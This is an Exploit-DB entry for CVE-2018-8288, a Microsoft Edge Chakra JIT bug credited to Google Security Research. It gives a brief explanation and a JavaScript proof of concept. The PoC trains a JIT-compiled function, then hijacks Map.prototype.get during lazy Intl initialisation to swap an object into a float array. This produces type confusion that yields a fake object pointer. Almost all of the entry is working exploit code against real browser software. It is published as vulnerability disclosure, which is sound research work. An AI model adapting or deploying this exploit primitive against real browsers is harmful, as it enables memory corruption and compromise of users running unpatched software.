Microsoft Edge Chakra JIT - ImplicitCallFlags Check Bypass with Intl

EDB-ID: 45213
Author: Google Security Research
Published: 2018-08-17
CVE: CVE-2018-8288
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 /* 
 If the Intl object hasn't been initialized, access to any property of it will trigger the initialization process which will run Intl.js. The problem is that it runs Intl.js without caring about the ImplicitCallFlags flag. 
  
 In the PoC, it redefines Map.prototype.get to intercept the execution of Intl.js. 
  
 PoC: 
 */ 
  
 function opt(arr, obj) { 
     arr[0] = 1.1; 
     obj.x; 
     arr[0] = 2.3023e-320; 
 } 
  
 let arr = [1.1]; 
 for (let i = 0; i < 0x10000; i++) { 
     opt(arr, {}); 
 } 
  
 let get = Map.prototype.get; 
 Map.prototype.get = function (key) { 
     Map.prototype.get = get; 
  
     arr[0] = {}; 
  
     return this.get(key); 
 }; 
  
 opt(arr, Intl); 
  
 alert(arr[0]);            
         

Source: www.exploit-db.com